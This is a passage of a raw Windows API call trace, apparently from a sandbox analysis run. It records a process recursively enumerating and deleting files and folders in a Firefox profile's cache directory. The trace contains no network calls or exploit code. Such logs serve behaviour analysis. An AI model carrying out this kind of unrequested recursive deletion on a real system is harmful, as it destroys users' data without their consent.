nFileSizeHigh=0x0, nFileSizeLow=0x28101, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="10CF4d01", cAlternateFileName="")) returned 1 [0117.586] lstrlenW (lpString="10CF4d01") returned 8 [0117.586] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89", pszFile="10CF4d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89\\10CF4d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89\\10CF4d01" [0117.586] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89\\10CF4d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\89\\10cf4d01")) returned 1 [0117.587] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56980830, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56980830, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56ad7490, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x28101, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="10CF4d01", cAlternateFileName="")) returned 0 [0117.587] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.587] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.587] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.587] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.587] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\89")) returned 1 [0117.587] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7be2eb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7be2eb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="E5", cAlternateFileName="")) returned 1 [0117.587] lstrlenW (lpString="E5") returned 2 [0117.587] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B", pszFile="E5" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5" [0117.587] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5") returned 84 [0117.587] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.587] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.587] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.587] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5\\*.*" [0117.587] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7be2eb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7be2eb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.587] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7be2eb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7be2eb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.587] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7be2eb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7be2eb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7be2eb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="9A8D1d01", cAlternateFileName="")) returned 1 [0117.588] lstrlenW (lpString="9A8D1d01") returned 8 [0117.588] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5", pszFile="9A8D1d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5\\9A8D1d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5\\9A8D1d01" [0117.588] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5\\9A8D1d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\e5\\9a8d1d01")) returned 1 [0117.588] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7be2eb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7be2eb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7be2eb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="9A8D1d01", cAlternateFileName="")) returned 0 [0117.588] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.588] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.588] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.588] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.588] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\E5" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\e5")) returned 1 [0117.588] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7be2eb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7be2eb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="E5", cAlternateFileName="")) returned 0 [0117.588] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.588] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.588] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.589] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.589] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b")) returned 1 [0117.589] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x622936b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x622936b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="C", cAlternateFileName="")) returned 1 [0117.589] lstrlenW (lpString="C") returned 1 [0117.589] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="C" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C" [0117.589] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C") returned 81 [0117.589] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.589] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.589] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.589] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\*.*" [0117.589] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x622936b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x622936b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.590] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x622936b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x622936b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.590] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x622936b0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x622936b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x622936b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="1F", cAlternateFileName="")) returned 1 [0117.590] lstrlenW (lpString="1F") returned 2 [0117.590] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C", pszFile="1F" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F" [0117.590] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F") returned 84 [0117.590] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.590] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.590] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.590] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F\\*.*" [0117.590] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x622936b0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x622936b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x622936b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.590] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x622936b0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x622936b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x622936b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.590] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x622936b0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x622936b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x622936b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x7e9e, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="7ADBDd01", cAlternateFileName="")) returned 1 [0117.590] lstrlenW (lpString="7ADBDd01") returned 8 [0117.590] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F", pszFile="7ADBDd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F\\7ADBDd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F\\7ADBDd01" [0117.590] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F\\7ADBDd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\c\\1f\\7adbdd01")) returned 1 [0117.590] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x622936b0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x622936b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x622936b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x7e9e, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="7ADBDd01", cAlternateFileName="")) returned 0 [0117.590] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.591] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.591] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.591] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.591] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\1F" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\c\\1f")) returned 1 [0117.591] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ca0510, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56ca0510, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56ca0510, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="55", cAlternateFileName="")) returned 1 [0117.591] lstrlenW (lpString="55") returned 2 [0117.591] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C", pszFile="55" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55" [0117.591] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55") returned 84 [0117.591] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.591] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.591] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.591] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55\\*.*" [0117.591] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ca0510, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56ca0510, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56ca0510, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.591] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ca0510, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56ca0510, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56ca0510, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.591] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56ca0510, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56ca0510, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56cec7d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xe206, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="BF060d01", cAlternateFileName="")) returned 1 [0117.591] lstrlenW (lpString="BF060d01") returned 8 [0117.591] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55", pszFile="BF060d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55\\BF060d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55\\BF060d01" [0117.591] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55\\BF060d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\c\\55\\bf060d01")) returned 1 [0117.592] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56ca0510, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56ca0510, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56cec7d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xe206, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="BF060d01", cAlternateFileName="")) returned 0 [0117.592] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.592] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.592] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.592] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.592] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C\\55" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\c\\55")) returned 1 [0117.592] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ca0510, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56ca0510, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56ca0510, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="55", cAlternateFileName="")) returned 0 [0117.592] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.592] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.592] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.592] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.592] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\C" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\c")) returned 1 [0117.593] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9f4b5720, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f4b5720, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="D", cAlternateFileName="")) returned 1 [0117.593] lstrlenW (lpString="D") returned 1 [0117.593] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="D" | out: 